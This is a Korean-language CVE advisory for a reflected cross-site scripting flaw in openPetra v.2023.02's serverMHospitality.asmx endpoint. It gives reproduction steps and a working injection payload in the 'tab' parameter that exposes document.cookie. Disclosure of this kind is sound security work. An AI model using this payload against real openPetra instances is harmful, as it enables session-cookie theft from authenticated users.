CVE-2024-40506

openPetra v.2023.02의 serverMHospitality.asmx 함수를 통한 크로스 사이트 스크립팅 취약점

설명: 인증되지 않은 사용자가 openPetra v.2023.02의 serverMHospitality.asmx 함수를 통한 XSS를 악용하여 인증된 사용자의 쿠키를 탈취할 수 있습니다.

취약한 제품 버전: openPetra v.2023.02
CVE 작성자: Jansen Moreira 날짜: 13/07/2024
CVE: CVE-2024-40506
CVE 링크: https://www.cve.org/CVERecord?id=CVE-2024-40506
NVD 링크: https://nvd.nist.gov/vuln/detail/CVE-2024-40506
Tenable 링크: https://www.tenable.com/cve/CVE-2024-40506
확인 날짜: 13/07/2024
테스트 환경: Linux

재현 단계:

1- 홈 페이지에 접속
2- 다음 경로를 사용하고 tab 매개변수에 XSS 페이로드를 추가합니다. 예.: http://target.com/api/serverMHospitality.asmx?bnd=TMHospitalityWebServiceSoap&op=THospitalityWebConnector_Dummy&page=op&tab=x" onmouseover=alert(document.cookie) x="
3- 왼쪽 인덱스 항목 위에 마우스를 올리면 XSS가 트리거됩니다

페이로드:
tab: x" onmouseover=alert(document.cookie) x="

발견자/크레딧: Jansen Moreira